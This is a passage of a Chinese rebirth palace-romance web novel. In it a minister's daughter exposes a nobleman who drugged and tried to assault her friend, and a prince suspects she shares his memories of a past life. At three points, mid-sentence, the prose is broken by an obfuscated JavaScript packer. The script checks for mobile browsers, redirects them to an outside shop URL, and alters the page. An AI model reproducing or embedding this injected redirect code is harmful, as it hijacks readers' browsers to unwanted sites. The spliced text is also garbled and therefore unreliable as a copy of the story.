确认丛云无碍之后,莲玉荇让婢女将丛云送到屏风后歇息,由自己来处理这件事。 莲玉荇步履沉稳,一步步走到温叙面前,气势瞬间压人一头,看向地上趴着的温叙,眸色沉沉,面色不善。 果真如她料想那样,温叙压根没打算放过她们,在背地里搞了这么多手段。她不过是离开一会儿,便被温叙钻了空子。 温叙这人草包一个,色胆包天,但没这么深的心思,用出这种毒计,必然有人利用了温叙,在背后给他出谋划策。 ** 客房内外人围了一圈,下人已经去请常安侯夫人来主持公道,只是温叙毕竟家世显赫,姐姐又是昭文帝身边的宠妃,常安侯夫人必定不会对温叙如何,只能她们自己先解决了。 莲玉荇视线环顾一圈,落在最后面的贺砚随身后,随后不动声色移开眼。 “温叙,我只当你是草包一个,没什么礼仪教养,没想到你这人人品也不行,竟然做出这种事情,妄想毁了一个姑娘家的清白。” “你以为这是什么地方,能随你撒泼打滚吗!” 莲玉荇疾言厉色,说出的话掷地有声,吓得温叙抖了抖,身子往后缩了一点。 在场有人看不过去了,出声道:“丛姑娘长得花容月貌,温世子只是一时被迷了眼,才做出这等失礼之事,莲姑娘这番话说得也太过严重了一些。” 好一个“迷了眼”、“失礼之事”! 温叙不过是在她这里被拂了面子,被人指点,想在丛云这里讨回几分面子,顺带让自己难堪。 若是没有迎月,丛云又得走前世的老路,一辈子被人指指点点,而后郁郁而终。 莲玉荇心里冷笑,眼皮也没抬,看着温叙一番狼狈样,嗤笑:“这位公子好生伶牙俐齿,温公子口吐污言秽语之时你不在,方才他欲行不轨之时你也不在,怎么这么笃定为温叙开脱呢。莫不是你也行过此等事——” “你……”那人气急,无言以对,悻悻退了回去。 贺砚随落在后面,满眼兴味看着人群中间的女子,他倒是不知,莲玉荇这张嘴原来这般能说会道。 这时,婢女去请的郎中到了,常安侯夫人也姗姗来迟,落座主位,开始主持大局。 “来人,将温世子扶起来,这么趴在地上算什么样子,岂不丢了国公府的脸面。”常安侯夫人神色淡淡,俨然一副公正的样子,“事情经过我听下人细细道来,想来应该是有什么误会。” 温叙坐在凳子上,回过神来,变了脸色,赶忙接话,“是是是,本公子一时喝醉酒,误闯了丛姑娘的客房,并未做什么不当之举,倒是这个不知名姓的女子,不分青红皂白打了我一顿!” 温叙仿佛找到了支撑点,越说越激动,感觉自己才是受害者。 迎月垂眼站在这边,没什么兴致搭理他,莲玉荇则关注着郎中的诊脉情况,不再说话。 郎中诊完脉,恭敬道:“那位小姐体内有□□,草民已经给小姐施针逼出,再过一个时辰便无事了。” 此话一出,不仅莲玉荇,常安侯夫人和温叙也变了脸色。 都知道温叙名声不好,好色狂悖,没想到他胆子如此之大,敢在常安侯府用□□! “温叙,你好大的胆子!”莲玉荇沉默半晌,眼神冰冷刺骨,厉声喝他。 原先她还没那么生气,直到这一刻听到丛云被下了□□,十分肯定温叙抱了那种心思,如前世那般。 莲玉荇道:“派人给丛云下□□,而后再让人将她绑到这里,你说你没那种心思,谁会信?” “我给你半柱香时间,给我如实交代是谁撺掇你做这些事,不然明日,整个京城都会知道你的所作所为。” 莲玉荇下了最后通牒,在场的世家公子小姐面面相觑,想不到莲玉荇竟然当着常安侯夫人的面逼问温世子,可真是一点面子都不给。 常安侯夫人自知理亏,没再讨论帮温叙说话,默认把事情的解决权送到莲玉荇手上。 温叙还在狡辩,“我根本没做——” 温叙话还未说完,便被人打断,“母亲,孩儿求见。” 小侯爷席凝款款而来,身后的仆从押着一男一女。 常安侯夫人疑惑道:“我儿这是?” 小侯爷拱手行礼,仪态万千,缓缓道:“方才下人在后院发现了鬼鬼祟祟的男子,顺藤摸瓜找到了另一位婢女,后院客房出事,想来便与这两人有关。” 仆从两人押在地上动弹不得,两人连连说着饶命,把嘴里知道的都吐了个干净,看起来害怕极了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430439|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 丛云身子好了不少,隔着屏风,认出男子正是拐骗她的那个,声音轻浅,“是他。” “温叙你还有什么话说。”莲玉荇质问温叙,温叙眼珠咕溜一转,有了主意,既然逃不掉,不如认下。 温叙恼羞成怒,“丛云已经跟了我,她失了清白,你断然不能再让她失了夫君!” 丛云脸色煞白,莲玉荇手倏然捏紧,满座哗然,这是要毁了人家姑娘的清白啊。 如今温叙当着这么多人的面一闹,谁家好儿郎还愿意娶一个名声有损的女子。 是啊,谁愿意娶一个名声有损的女子。 莲玉荇几乎是咬牙切齿,“温叙,你怎敢污蔑!明明是你做恶在先,被人撞破才未能得逞,丛云清白之身,岂能容你随意侮辱。” 众人视线不约而同落在黑衣女子身上,期待着她能给出一个合理的答案。 ** 迎月是端王贺砚随的随身暗卫,从来只听贺砚随调遣。平日里都是一些杀人的活,保护姑娘倒是第一次。 此刻视线全汇聚在她身上,让她有些不自在。迎月不经意偏过头,用眼神向她家王爷求助。 贺砚随难得愣神,没有注意到迎月。 原先他并不想管莲玉荇的闲事,被人陷害又或者如何,都和他没有关系。 只是一群宵小肆意妄为,总是看不惯,故而派了迎月来帮扶一把。 现在这种情形,有点脱离他的掌控了。贺砚随不悦地皱起眉头。 迎月看不懂贺砚随的情绪起伏,以为是自家王爷不想掺和,决定闭口不言,便看到贺砚随给她使了个眼色,尽管眼底满是不耐。 她心里了然,冷脸说话,“温世子欲行不轨,被我踹飞了。” 话里没什么感情,却把众人噎得够呛,还有人捂着嘴偷笑,温叙嚣张跋扈惯了,难得吃瘪,还让他们遇上了。 莲玉荇笑不出来,一群人围在此处,不是为了讨伐温叙作恶,而是为了满足他们旺盛的好奇心罢了。 她看了看脸色苍白的丛云,顿了一会儿,开口道:“居心不正,其心可诛,既然你拒不承认,那便连同证人一并送往衙门,由衙门断案罢。” 莲玉荇一锤定音,闹剧便落幕了。 常安侯府的仆从把温叙扣住往外抬,污言秽语不断,莲玉荇没什么表情,顺便遣散一众世家公子小姐,视线略到某一处时顿住,眸色渐深。 ** 从常安侯府回来以后,丛云便生了一场大病,闭门不出半月有余。 京都中不时传出丛府千金的小道消息,但都被丞相府压了下去。 夜色渐深,莲玉荇躺在床上毫无睡意,脑海中不断浮现莲丞相的话。 “一个末流世家的女子,也值得你如此大费周章?当心最后吃力不讨好。” “这几日温国公在朝堂上和我争论不休,俨然是为温叙出气。身为丞相府嫡女,不可任性妄为,还要顾忌着家族才行。” …… 翌日,莲玉荇撑着困倦叫来妙青,“你去库房挑一副上好的墨宝送到端王府。” 那日赏花宴迎月帮她们解了围,想来是贺砚随在背后运作,自己也算欠了他一个人情,理应回他一份礼物,聊表谢意。 只是,还未过两个时辰,端王府便把墨宝原封不动送了回来。 莲玉荇看着那副墨宝,一时间看不懂了。 贺砚随这是什么意思? 5. 庙宇 赤鹰掠过山峦跌宕,穿过京都繁华建筑,飞进了古朴的院子里。 暗卫十九上前解开赤鹰腿脚上的小竹筒,拿出里面的密信,绕过假山水榭,进了书房。 十九把密信呈到书案面前,恭敬道:“启禀主子,河西郡的暗卫送信来了,您吩咐的事情已经办妥,不过并未发现什么异常。” 贺砚随放下手中书卷,接过密信,忽地叹了口气。 十九疑惑道:“主子是有什么烦心事吗?” 贺砚随不答,伸出手按了按额头。 前世他御驾亲征,大军一路势如破竹,到最后北境突厥只能固守一城,颓然等死。 按道理,北境军此战胜利必然毫无悬念,只要把突厥人困死在城内,便可不费吹灰之力拿下城池。 谁曾想,京都运送的粮草突然被劫,援军迟迟不到,突破重围前来报信的人说一切都是皇后莲玉荇的安排。 他自然不信,逼问之下,报信的人才将他留给莲玉荇的私印拿出来。 见此印,如皇帝亲临。 胜败逆转,大晋朝二十万的军队全军覆没,贺砚随自己也死无葬身之地。 故而,贺砚随对莲玉荇的感情实在复杂,爱恨交织,欲罢不能,屡屡影响了他的判断力。 正恍惚回忆,迎月忽然端了个方方正正的盒子进了书房,放到桌上,“主子,丞相府的小厮送来一副墨宝,说是丞相小姐的答谢之礼,望王爷笑纳。” 贺砚随将密信放到火舌上燎了,姿态随意地打开盒子,只看了一眼,就“砰”地一声关上了。 十九和迎月摸不着头脑,碍于身份,不敢多言。 “从哪里送来便送回哪里去,物归原主。”贺砚随抛下一句话,拿起书卷继续看,“景王府那边继续盯着,有任何异动立即传信给本王。” 迎月抱上盒子,二人拱手行礼,退出书房。 待站得稍远一些,十九赶紧凑到迎月身边,小声道:“迎月,你前几日和王爷去参加赏花宴,是不是有什么特别的女子?” “何出此言?”迎月不解,她一切都遵照主子的意思行事,主子的心思她从来不会妄加揣度。 十九一脸复杂之色,迎月从前一直待在暗处,赏花宴上公然露面,显然已经不符合暗卫的规矩。 主子让迎月从暗处转到明处,定是赏花宴上发生了什么万分紧急的事情。 而赏花宴只有那件事传遍京都,该不会主子对丛姑娘有意? 十九眼睛都睁大了,这这这…… 他是不是发现什么不得了的事情了。 不过主子又为何对莲姑娘送来的礼物反应这么大? 十九又问:“暗卫暴露于人前,价值就已经没了一半,主子是怎么说服你的?” 迎月是暗卫队伍里的佼佼者,虽是女子,却不输男子。把这么优秀的人放在明处,不知道主子怎么想的,而且迎月竟然也愿意。 “秘密。”迎月只说了两个字。 十九搞不懂,眼看着迎月往门口去,他急忙问:“你去哪儿?” “把墨宝送回丞相府。”迎月一边走一边扬扬手,“快去做事,不然这个月的月钱别想拿了。” …… 书房外两人说说笑笑,贺砚随心思却烦闷,扔了书卷,站到窗边,看着院子里那只赤鹰出神。 莲玉荇若是真感念他的作为,不该当面跟他道谢么?随便遣人送来一副墨宝就把他打发了。 他根本不喜欢墨宝,只有贺沅安那傻子才喜欢。 贺砚随心里的戾气又在翻涌,他总想着前世之事是误会,想方设法找出证据替她找补。 她倒好,仗着没有记忆,若无其事,肆意妄为。 青绿的叶片在骨节分明的手上转了几圈,贺砚随气闷得很,叶片倏地脱手出去,稳稳钉在墙上。 不过,最近莲玉荇各种举动实在反常,说不定也像他一样重生了呢? 他倒是要试试莲玉荇到底知不知道前世之事。 “莲玉荇……”贺砚随喃喃自语。 ** 赏花宴之后,莲玉荇大门不出二门不迈,莲丞相看不下去,大手一挥,当即让莲夫人带着莲玉荇出门去。 莲夫人算着时日,莲玉鹤外放河西郡已经六个月零十天,边疆地乱,她们打算去给莲玉鹤求个平安,顺便给莲府点一盏长明灯,保佑莲家长盛不衰。 广安寺是大晋朝的名寺,先皇重佛,曾亲自为广安寺题字,每日都有众多香客来访,香火络绎不绝。 百级长阶蜿蜒而上,连接烟气四散的佛像宝殿,庄严巍峨,禅意十足。 广安寺主持领着她们进了正殿,把准备好的香烛拿过来。 莲夫人跪在蒲团上,念念有词,大概是在说些吉利话。 莲玉荇在莲夫人旁边跪下,抬头看着面前的佛像,光影翩跹,耳边所有嘈杂声响也一并消失了。 她盯着佛相含笑的嘴唇,愣神,脑海里放思绪纷飞,只有一个念头清晰可见。 这辈子,她不想再和贺砚随成亲了。 跪拜礼完成之后,莲夫人随主持去商议点长明灯之事,留下莲玉荇一个人在原地。 小沙弥怕她无聊,一路弯弯绕绕,领着她去了正殿后的客房。 房间里物品摆放整齐,有一股淡淡的檀木香,闻起来很熟悉。莲玉荇在窗边落座,往外看去。 百人环抱的苍天古树枝桠伸展,张牙舞爪的,似乎想去更远更广阔的地方。 有一枝不随旁枝往高处去,偏往下长,斜斜地伸到客房窗棂前,伸手就能摸到枝叶。 莲玉荇顺着这一枝往上看,脖颈仰着,古树上面挂满了木牌,风一吹,发出凌凌动听的响声。 “莲施主,这是本寺有名的祈愿树,求姻缘最是灵验,施主不妨去看看。”小沙弥说道。 既是如此说,莲玉荇也不好推辞,出了客房来到树下,近看才窥见古树全貌,树根尤其粗壮,往上看一片青色,绿意盎然。 风吹声动,莲玉荇隐约看到木牌上的字,求姻缘、求财富、求平安……世间百态万相似乎都汇聚与这方寸之地。 “叮铃”的响声传进耳朵里,莲玉荇抬头看去,一块与众不同的木牌映入眼帘,没有繁复的花纹,像是路边随手捡起的。 木牌上的字苍劲有力,可以想见字的主人,只是离得远,不能够看清全貌。 莲玉荇突地生了好奇,想伸手去够来看,木牌被风卷起,四处晃动,小沙弥忽地惊呼一声,吓了她一跳。 只听小沙弥躬身道:“端王殿下。” 莲玉荇身子微僵,手上动作顿住,下一瞬,玄色衣袍在繁密的绿丛中显露出来。 呼吸刹那间乱了。 ** 贺砚随一直不喜欢仲夏,原因有二,一是夏天太热,仲夏的天气尤为炎热,且变幻莫测,时而风时而雨,让人头昏脑胀。 二是,生母柳氏忌日乃是仲夏。 柳氏去的早,贺砚随对她的印象也已经模糊不清,只记得柳氏在时,时常会为贺砚随和贺沅安讲故事,但大多数时候,她的精神都不大好。 贺砚随从回忆里抽身,不愿再追忆往昔。 “十九,备马车。”贺砚随发话,藏在暗处十九悄然离去,吩咐人备下马车。 每年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430440|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时候,主子都会到广安寺同空明大师静坐一天一夜,参悟禅意。 不过主子的手段暗卫们都已经领教过了,十九心里嘀嘀咕咕,却不敢在贺砚随跟前说道。 贺砚随他们走的是小道,轻快便捷,不到一个时辰就已经到了广安寺。 只是到了才知,空明大师已经闭关了。 空明院里的僧人朝贺砚随行礼,“端王殿下,空明师父前日刚闭关,此刻还未出关,您不妨在客房稍事休息。” 贺砚随点点头。 僧人知道贺砚随和空明的交情,了解两人每年这个时候都会相聚,把人领到客房。 不是惯常的那间。贺砚随在僧人引路之时便发现了,眼眸微暗,若有所思。 身旁随侍的迎月心思敏锐,直截了当得问:“平日里都是在西南角的那间客房,今日怎么突然换了一间?” 贺砚随除了柳氏忌日之时来广安寺,平日里也常来此处换换口味,所以广安寺里有一间专门的客房是留给贺砚随的。 “端王殿下见谅,小沙弥不知西南角的客房是殿下专用,白日里带了一位女客落榻,这才临时换了客房。”僧人早就料到这个问题,面色不变,双手合十躬身道。 贺砚随闻言,剑眉一挑,说道:“无事,本王今日就在这儿等吧。” 僧人退了下去,迎月也隐藏到暗处,贺砚随端起茶水往嘴边送,视线往窗外看去,瞧见一抹熟悉的倩影。 她怎么在这儿?贺砚随端着茶杯的手顿住,不着痕迹地皱了皱眉头。 莲玉荇伸手去够树上的木牌,贺砚随却觉得那木牌眼熟,片刻,终于想起那块木牌的来历,身上流露出一丝不自在。 过了一会儿,贺砚随起身,往外走去。 他在莲玉荇面前站定,似笑非笑,“莲姑娘别来无恙。” 莲玉荇听他问候,略微欠身,也不说话,只低着头,不知道在看什么。 贺砚随只当她不想和自己说话,便也闭上嘴,顺着她的视线看过去,一对同心锁落在石柱上,因为风吹日晒已经褪了颜色。 同心锁,寓意永结同心。 莲玉荇也曾和身边这人一起落过一对同心锁,当时满心欢喜,沧海桑田流转,如今却是物是人非。 两人就这么一言不发僵持着,距离不远不近,莲玉荇偏生听到了贺砚随不疾不徐的呼吸声。 她默不作声往后退了两步,隔开距离,发觉贺砚随脸色不对,后知后觉方才的举动有些失礼。她轻声开口:“端王殿下为何不收?” 当今圣上颇为忌惮结党营私,莲玉荇送礼是用自己的名义,贺砚随犯不上如此警惕。 收?收什么?贺砚随意识飘远,缓了一会儿才想起她说的“礼”是什么。 那副墨宝。 “莲姑娘既是答谢,为何不亲自当着本王的面道谢,反而送一副墨宝?”贺砚随语气很轻描淡写,没人听出他话里的重视和拈酸。 莲玉荇重视丛云,前世贺砚随就知晓,生怕知交好友遭遇不测,后来丛云不在世,莲玉荇难过得紧,山珍海味,绫罗织锦都不能将人安抚下来几分。 既然这么重视,断然也没有理由对他这么轻慢。 贺砚随眼睛微眯,不着痕迹打量着莲玉荇,仿佛察觉到了什么,她在赏花宴上这么紧张丛云,像是早就知道丛云会出事一样。 莲玉荇……你也重生了吗?又或者有着前世的记忆? 所以刻意又生分得想和他隔开距离。 贺砚随心里猜测不断,终于沉声道:“莲姑娘怕我?” 语气平缓,却不容置喙地给莲玉荇定了一个莫须有的罪责。 6. 妄念 贺砚随说话实在莫名其妙,莲玉荇十分感念他在赏花宴上救了丛云,所以按照礼仪规制给端王府送去墨宝。 明明是贺砚随自己退了礼,现在反倒打一耙,说她不愿亲自答谢。 照理说,她没有和上辈子一样接近贺砚随,贺砚随应该对她很陌生才对,怎么现在这么自来熟。 莲玉荇心里不爽,面上却不显,“今天正好和王爷巧遇,那便亲自和王爷道谢,多谢王爷出手相助,王爷不喜墨宝,我回府之后遣人再送一份到端王府。” 莲玉荇将重音落在“亲自”二字,希望贺砚随不要再胡搅蛮缠。 “莲姑娘不必多礼。”贺砚随拨弄这拇指上的玉扳指,眉眼带笑,看上去心情不错。 莲玉荇心情烦闷得很,尤其是看到贺砚随这张厚脸皮,正准备行礼告退,远山忽然拢过来一大片乌黑的云彩,风也呼呼地吹,衣裳、发丝都被吹起。 还未等退回客房,大雨突地瓢泼而下,将人都浇透了。 狂风大作,雷声渐起,莲玉荇眼前一片模糊,准备凭着来时的印象返回客房,玄色的衣裳往头上罩了下来,隔绝了大部分的雨水。 檀木香夹杂着淡淡的菖蒲香气扑鼻而来。 莲玉荇鼻尖动了动,透过衣裳往上看去,贺砚随衣衫凌乱,没了一开始的优雅做派,鎏金冠沾了水,压住了他满身凌厉,多了几分少年气派。 恍若前世她和贺砚随的初见。 以现在这个年纪看来,贺砚随确实还是少年。莲玉荇腹诽道。 贺砚随就这样一手护着莲玉荇,一边往客房跑去,雨水粘湿了鞋袜。 到了屋檐下,两人默契地拉开距离,小沙弥送上准备好的姜茶和帕子,让两人擦拭整理衣裳。 莲玉荇让妙青接了东西,回了客房。 贺砚随站在原地,看着莲玉荇进的那间屋子,有一瞬间怔住,良久,低低地笑了出来。 身后的十九一脸疑惑,不知道他家主子这是抽了什么风,盯着人家姑娘的背影笑个不停。 迎月移开视线,看向远处。 ** 时近傍晚,先前的滂沱大雨已经停了,远山青黛惹眼,脚下的青石板被雨水浸透,一片暗色。 贺砚随昨日处理公务到深夜,今日恰好有雨,淅淅沥沥雨声中他竟然睡着了。 还是在广安寺。 连日来公务缠身,事事几乎都需要贺砚随亲自上手,合眼的时机几乎没有。 方才虽然是浅眠,但也缓解了不少疲累,此刻贺砚随眼神奕奕,理了理袖子,走出客房。 迎月上前通报:“主子,空明大师一个时辰前已经出关,正在禅房等候,您要不要现在过去?” 贺砚随一身矜贵气派,眼皮撩起,往客房那边随意一瞥,发现客房里空空如也,眉头微不可察皱起。 还未等贺砚随问起,十九便殷勤凑上来说话:“主子,莲姑娘同丞相夫人上山进香,山雨迷蒙,怕道路难行,早早便下山了。” 贺砚随斜睨他一眼,大概是觉得十九有些多嘴,十九眼睛骨碌碌转了一圈,缩着脑袋往后退了几步。 “走吧。”贺砚随开了尊口。 早就在一旁等待的引路沙弥连连称是,赶紧领着一行人前往空明大师的禅房。 到底是年轻,面对达官贵胄还是免不了紧张一番。小沙弥一路上胆战心惊,到了禅房门口,得了空明大师的吩咐,退了下去。 被大晋朝上下称呼为空明大师的男子,不过及冠之年,面庞稍显稚嫩,眉心缀着的痣红胜火。 寻常人见了自然不信,可事实如此,空明降世之时天降祥瑞,万佛来朝。到了广安寺也是众多弟子中最有佛法造诣之人,让人不得不感叹天意使然。 众人退了出去,只留下空明和贺砚随二人,空明坐在小几一边,给贺砚随倒了茶水。 贺砚随也不客气,撩起衣摆坐在空明对面,“空明师父佛法高深,怎得还时时闭关,这叫天下僧人如何自处?” “学无止境。”空明躬身笑道,发觉贺砚随似乎有些心不在焉:“王爷似乎有心事,可说出来,贫僧替您解答一二。” 二人相识多年,空明对贺砚随再了解不过,方才贺砚随坐下来,视线漂浮不定,显然是有心事。 贺砚随手一顿,茶水差点撒了出来,神色淡淡,“确有一件烦心事。” “有人欠了本王一件贵重之物,本王虽想把东西要回来,但始终心有芥蒂,迟迟说不出口。” 空明道:“王爷若真心想把东西拿回来,不如先把话说开了。” 贺砚随若有所思点点头。 言毕,空明也没再说话,留出时间让贺砚随自己思索。 过了片刻,空明带着贺砚随进了内室,“柳夫人的香案我早早命人添了香火,端王殿下不如先去上香吧。棋局也已备好,今夜我们便好好厮杀一场。” 贺砚随扯了扯嘴角,“空明师父莫要耍赖就好。” 铜炉生香,烟气袅袅而上,乱了人心弦。 ** 雨声时近时远,打在竹林上沙沙作响,窗棂处布满水汽,顺着缝隙飘进屋子里,冷得彻骨。 暖炉被下人换了一次又一次,本应该十分暖和,被窝里却怎么也热不起来。 明明是夏天,好似经过一场雨就进了冬日。 一场雨,一场寒。 白天在广安寺上完香后,莲夫人怕山上寒气深重,会惹风寒,趁着雨停,便带着莲玉荇匆匆忙忙回了府。 热汤姜茶轮番上阵,只为了扫除一身寒气,却不料莲玉荇身娇体弱,仅仅是淋了一点雨,身体就吃不消了,傍晚就发了高热。 莲夫人和莲丞相心急如焚,请了郎中来瞧,开了几副药发汗。 “怎么样?烧可退下了?” “未曾退下,想来是天气变得太快,小姐身子受不住,这才病倒了……” 一门之隔,莲夫人和莲丞相正在交谈,莲玉荇从高热带来的混沌中捡回一点清醒意识,眼睛却闭得死紧,怎么也睁不开。 窸窸窣窣的声音褪去,莲玉荇意识又一次混沌起来。 …… “阿荇,你看为夫作的这幅画如何?” “花鸟意趣,实在相配。” 有人说话。 是谁? 莲玉荇觉得声音熟悉,却怎么也想不起来,手上紧紧攥着,倏地睁开眼,眉目一凝。 “她”与贺砚随正坐在书案前,俯首帖耳,格外亲密。 待到画作完成,贺砚随凑到“她”耳边,轻咬着“她”的耳垂温存,一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430441|141427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声唤“她”的名字。 那时看来真是郎情妾意。莲玉荇自嘲。 此刻她以灵魂的状态存在,是一个旁观者,冷眼瞧着这一幕。 为政者最在乎的,一是权势,二是名声。 莲玉荇突然想起,前世贺砚随每日下朝,总是亲自跑到寻仙楼买她最爱吃的糕点,一来二去,坊间也流传出贺砚随爱妻敬妻的话来。 现在想来,当真处处都是破绽,好你个端王,心思缜密,连莲玉荇都不得不佩服了。 地面忽然一晃,眼前的景象飞速流转,还未等莲玉荇反应过来,一把剑横插过来,“噗嗤”一声,鲜血流了一地。 错愕抬头,莲玉荇眸光一瞬间暗淡下来,龙袍下摆用针线绣出来的云纹有些刺目。 莲玉荇下意识闭上了眼睛,怎么在梦里都还会梦到,真是阴魂不散! 同样的场景,前世她是被人斟了毒酒,而在梦里,却是贺砚随亲自动手杀了她。 莲玉荇嘴角溢出鲜血,无声笑笑,牵动着伤口格外疼痛。 “唰——” 莲玉荇突地喷出一口血,颓然倒地,虚虚看去,原来是贺砚随拔出了剑。 她现在明明是灵魂状态,怎么还能感受到疼痛呢? 好疼…… 四肢百骸一阵阵发冷发疼,莲玉荇拼尽全身力气,狠狠地瞪了贺砚随一眼,随后昏死过去。 ** 莲玉荇清醒过来已经是第二日傍晚,莲丞相心下稍安,但告了假没去上朝,和莲夫人一同待在家里照看。 “阿荇,你这一病可把父亲母亲急得不轻。”莲丞相坐在床头,脸上满是疲态。 平日里精神抖擞的丞相,现下是这番颓然模样,莲玉荇心里愧疚不已,“女儿让你们担心了。” 莲夫人笑笑,“现下已经好了不少,递到府上的拜帖,我已命人退了回去,这几天你就安心在府里休养。” “遵命。”莲玉荇从药碗里抬起头,乖巧道。 莲丞相和莲夫人走后,妙青端了水进屋,准备给莲玉荇擦擦身子。 莲玉荇因为高热发了不少汗,身上黏黏腻腻很不舒服,现下一擦,倒是好了不少。 甫一换好衣服,莲玉荇靠在床头闭目养神,想起什么,嘴唇微张,“妙青,这两日有谁送来拜帖?” 妙青回答:“回小姐,是丛云姑娘、温世子,还有御史大夫家的小姐……” 听妙青说完,莲玉荇罕见地沉默了一会儿,说起御史大夫,她倒是想起一件事。 莲玉荇心里有了主意,当即让妙青拟了一份拜帖,妙青看着上面的字迹,有些犹豫。 “小姐,您还在病中,方才夫人让我拒了拜帖,也没有再送拜帖的道理。” “无妨,你小心行事,别让母亲他们知晓了。” 妙青捏着拜帖的手紧了紧,最终还是妥协,老老实实送拜帖去了。 莲玉荇看她走远了,眼神沉了下来,抬手摸了摸小腹的位置,细细密密的疼痛泛起。 莲玉荇咬紧了嘴唇,暗暗道—— 你可别再犯蠢了,万不可再被贺砚随玩弄于股掌之中。 这场梦,或许就是上天在提醒她。 莲玉荇用手轻轻揉着小腹,心道,重来一世,她可不想再死一次了。 7. 行宫 青石板路上,一辆平平无奇的马车悄然而过,片刻后停在了景王府门口。 不一会儿,头戴斗笠的两人从马车上下来,其中一人环顾一圈,发现周围没什么人,才抬脚进了景王府的大门。 门房在前面带路,莲玉荇和妙青跟在身后,看样子是要去后院。“莲姑娘,王爷在后院池塘喂鱼,嘱咐我直接带姑娘过去。” “烦请带路。”莲玉荇颔首,贺沅安这几日推拒所有拜帖,闭门不出,并未有什么消息传出来,不知道在忙活些什么。 莲玉荇只能死马当活马医,让下人往景王府递了拜帖,好在贺沅安接下了拜帖,同意见她。 不然她真是连见贺沅安一面都做不到。 穿过回廊,后院池塘便向众人敞开来,莲玉荇抬眼看去,贺沅安身着常服,此刻正坐在岸边石头上,姿态随意,向水中投喂鱼食。 莲玉荇从来没看过贺沅安这么轻松自在的表情,毕竟平日里贺沅安温文尔雅,像是戴着假面,怎么也看不透。 至此,莲玉荇也越发坚定地明白,那日在花街柳巷,就是贺砚随假扮贺沅安来逗弄她。 想到这里,莲玉荇的眼神微动。 贺沅安听到动静,手上动作顿住,脸上恢复了往日常见的表情,看向他们:“有客来,本王不曾亲自迎接,失礼了。” 莲玉荇欠身行礼,“臣女参见王爷。” 贺沅安随意把手里的鱼食全都洒在池塘里,一群鱼儿争先恐后抢夺食物,有水溅起来落到两人的衣裳上。 “本王听说莲姑娘前几日进香归来病倒了,如今一看应当是好了不少。”贺沅安探究的视线落在莲玉荇身上,不加掩饰。 贺沅安又道:“莲姑娘这么急着送拜帖到府上,想来是有要事,不妨直说。” 景王倒是比前世直白得过分。莲玉荇面上闪过一丝为难,贺沅安浸淫朝堂已经多年,察言观色,挥挥手屏退了周围的人,妙青也跟着出去了。 下人们远远地站着,莲玉荇转过身,微微一笑:“暑气愈重,陛下已下旨命钦天监择良辰吉日前往避暑行宫,皇子宫妃家臣都得随行。” “臣女此番前来,是有事相求于景王殿下。” 话音落下,二人视线倏然相对,贺沅安听着莲玉荇说话,一言不发,只是眸色渐渐深了。 微风抚过岸边柳树,枝条随风飘荡,渐渐模糊了人影。 ** 天气越来越炎热,昭文帝降下圣旨,不日将前往避暑行宫,着皇子、宫妃和亲近的臣子随行。 于是从广安寺回来之后,贺砚随便在王府专心处理好余下公务,以免公务堆积。 直到书案上的折子少了一些,贺砚随才有空出来逛逛。 长安街热闹非常,因为炎热,不止寻仙楼,各处茶楼也座无虚席。 贺砚随穿着常服,俨然是富贵人家的公子哥,迎月随行,跟在贺砚随身后,十九则藏在暗处,小二殷勤地将他们请上楼。 “各位客官稍等,茶点马上到!”小二朝他们一笑,退了出去。 十九悄无声息站到贺砚随身后,语气谄媚:“主子,寻仙楼的茶点可是京都最有名的,不知道小的是否有幸尝尝?” 贺砚随斜睨他一眼,“说得好像哪次你没吃一样。” 十九哑然,虽然他每次都吃,但是主子就这么拆穿他,还有点不好意思。 十九心想主子真是无趣,利落地转身退到角落,盯着他们这边的动静。 贺砚随觉得好笑,这时小二推门进来,勤快摆上茶水和点心。 “瞧瞧,这色泽、香味……真不愧是寻仙楼的招牌。”贺砚随故意拈起一块,道:“十九,还不过来伺候。” 十九脸色变了变,但还是动作麻利站到桌前准备伺候,不知道看到什么,视线忽地顿住。 “何事?脸色变得这般厉害。”正准备把点心赏给十九的贺砚随发现不对,顺着十九的视线看去,神情突变。 寻仙楼正对面的巷子口,几日未见的莲玉荇笑意吟吟,正和他的胞弟贺沅安你来我往,聊得开怀。 像是察觉到了什么,莲玉荇往这边看过来,贺砚随下意识偏过头,生怕自己被发现了。 莲玉荇怎么会去和贺沅安扯上关系? “听说莲姑娘从广安寺回来之后便染了风寒,卧病在床,递上门的拜帖悉数被退了回去。此刻怎么在这儿?”迎月往窗外看了看,疑惑道。 “怎么回事儿?”贺砚随衣袖下的手捏得很紧,再往外看去的时候两人已经不见了,空荡荡的巷口像是在无声宣告着什么。 